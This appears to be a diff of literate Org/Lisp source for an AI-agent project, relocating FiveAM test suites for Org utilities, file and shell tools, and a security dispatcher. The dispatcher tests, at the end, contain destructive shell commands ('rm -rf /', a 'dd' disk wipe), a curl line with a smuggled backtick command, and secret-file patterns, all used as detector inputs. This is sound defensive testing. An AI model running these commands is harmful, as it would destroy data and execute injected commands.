(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -144,3 +103,43 @@ contents of the Lisp file. Returns T if they match, or an error message."
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-pipeline.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
#+end_src
|
||||
@@ -21,105 +21,6 @@ Structural manipulation tools for Org-mode files. This skill handles reading, wr
|
||||
If the headline already has one, returns it. If not, generates a new UUID,
|
||||
sets it, and returns it. Returns nil if the headline is not found.
|
||||
|
||||
* Test Suite
|
||||
Verification of the structural manipulation for Org-mode files and their AST representation.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
|
||||
(in-package :passepartout-utils-org-tests)
|
||||
|
||||
(def-suite utils-org-suite
|
||||
:description "Tests for Utils Org skill.")
|
||||
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
(org-property-set ast "id:test123" :STATUS "ACTIVE")
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
|
||||
(test test-org-id-get-create
|
||||
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
|
||||
;; Case 1: headline already has an ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:existing" :TITLE "Has ID")
|
||||
:contents nil)))
|
||||
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
|
||||
;; Case 2: headline exists by title but has no ID — one should be created
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "No ID")
|
||||
:contents nil)))
|
||||
(let ((new-id (org-id-get-create ast "No ID")))
|
||||
(is (stringp new-id))
|
||||
(is (uiop:string-prefix-p "id:" new-id))
|
||||
;; Verify the ID was set on the headline
|
||||
(is (string= new-id (getf (getf ast :properties) :ID)))))
|
||||
;; Case 3: idempotent — calling again returns same ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "Idempotent")
|
||||
:contents nil)))
|
||||
(let ((id1 (org-id-get-create ast "Idempotent"))
|
||||
(id2 (org-id-get-create ast "Idempotent")))
|
||||
(is (string= id1 id2))))
|
||||
;; Case 4: headline not found returns nil
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (null (org-id-get-create ast "nonexistent")))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -468,3 +369,101 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verification of the structural manipulation for Org-mode files and their AST representation.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
|
||||
(in-package :passepartout-utils-org-tests)
|
||||
|
||||
(def-suite utils-org-suite
|
||||
:description "Tests for Utils Org skill.")
|
||||
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
(org-property-set ast "id:test123" :STATUS "ACTIVE")
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
|
||||
(test test-org-id-get-create
|
||||
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
|
||||
;; Case 1: headline already has an ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:existing" :TITLE "Has ID")
|
||||
:contents nil)))
|
||||
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
|
||||
;; Case 2: headline exists by title but has no ID — one should be created
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "No ID")
|
||||
:contents nil)))
|
||||
(let ((new-id (org-id-get-create ast "No ID")))
|
||||
(is (stringp new-id))
|
||||
(is (uiop:string-prefix-p "id:" new-id))
|
||||
;; Verify the ID was set on the headline
|
||||
(is (string= new-id (getf (getf ast :properties) :ID)))))
|
||||
;; Case 3: idempotent — calling again returns same ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "Idempotent")
|
||||
:contents nil)))
|
||||
(let ((id1 (org-id-get-create ast "Idempotent"))
|
||||
(id2 (org-id-get-create ast "Idempotent")))
|
||||
(is (string= id1 id2))))
|
||||
;; Case 4: headline not found returns nil
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (null (org-id-get-create ast "nonexistent")))))
|
||||
#+end_src
|
||||
@@ -51,182 +51,6 @@ in the /last/ tool execution, matching the tool-execution visualization
|
||||
pattern from v0.7.1. Cumulative file tracking belongs in the version
|
||||
control system.
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -555,7 +379,6 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
|
||||
** Package Definition and Export List
|
||||
The package definition. All public symbols are exported here.
|
||||
#+begin_src lisp :tangle no
|
||||
@@ -780,7 +603,181 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
|
||||
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
|
||||
#+end_src
|
||||
|
||||
* v0.8.0 — Modified Files Tracking
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
#+end_src* v0.8.0 — Modified Files Tracking
|
||||
#+begin_src lisp
|
||||
(defvar *modified-files-this-turn* nil
|
||||
"List of plists recording file modifications in the current turn.")
|
||||
@@ -844,4 +841,4 @@ line2")))
|
||||
"Contract 15: tool-modified-files-summary returns nil when no files modified."
|
||||
(setf passepartout::*modified-files-this-turn* nil)
|
||||
(is (null (passepartout::tool-modified-files-summary))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
@@ -80,196 +80,6 @@ daemon restarts — it tracks what happened /this/ session, which is what the
|
||||
sidebar shows. Historical block telemetry belongs in the telemetry system
|
||||
(v0.12.0).
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
